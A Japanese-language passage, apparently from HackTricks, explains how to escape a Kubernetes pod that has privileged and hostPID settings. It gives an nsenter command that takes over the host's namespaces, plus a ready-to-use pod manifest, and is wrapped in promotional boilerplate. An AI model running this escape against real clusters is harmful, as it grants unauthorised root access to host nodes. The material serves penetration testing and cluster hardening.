Pod Escape Privileges

ハックトリックをサポートして特典を得る！

• HackTricksで会社を宣伝したい場合や、PEASSの最新バージョンを入手したい場合は、SUBSCRIPTION PLANSをチェックしてください！

• 公式PEASS＆HackTricksグッズを手に入れる

• The PEASS Familyを見つけて、独占的なNFTのコレクションを発見する

• 💬 DiscordグループまたはTelegramグループに参加するか、Twitterで私をフォローする 🐦 @carlospolopm

• ハッキングのトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。

特権とhostPID

これらの特権を持つと、ホストのプロセスにアクセスでき、ホストのプロセスのネームスペースに入るための十分な特権を持つことができます。 特権が必要な場合もありますが、特権ではなく、いくつかの機能や他の潜在的な防御回避（apparmorや/またはseccompなど）が必要な場合もあります。

次のようなコマンドを実行するだけで、ポッドから脱出することができます：

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

設定の例：

apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name

特権のみ

ハックトリックをサポートして特典を得る！

• 会社の広告をハックトリックで見たい場合や、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください！

• 公式PEASS＆HackTricksグッズを手に入れる

• The PEASS Familyを発見し、独占的なNFTのコレクションを見つける

• 💬 DiscordグループまたはTelegramグループに参加するか、Twitterで私をフォローする 🐦 @carlospolopm

• ハッキングのトリックを共有するには、PRを HackTricks および HackTricks Cloud のGitHubリポジトリに提出してください。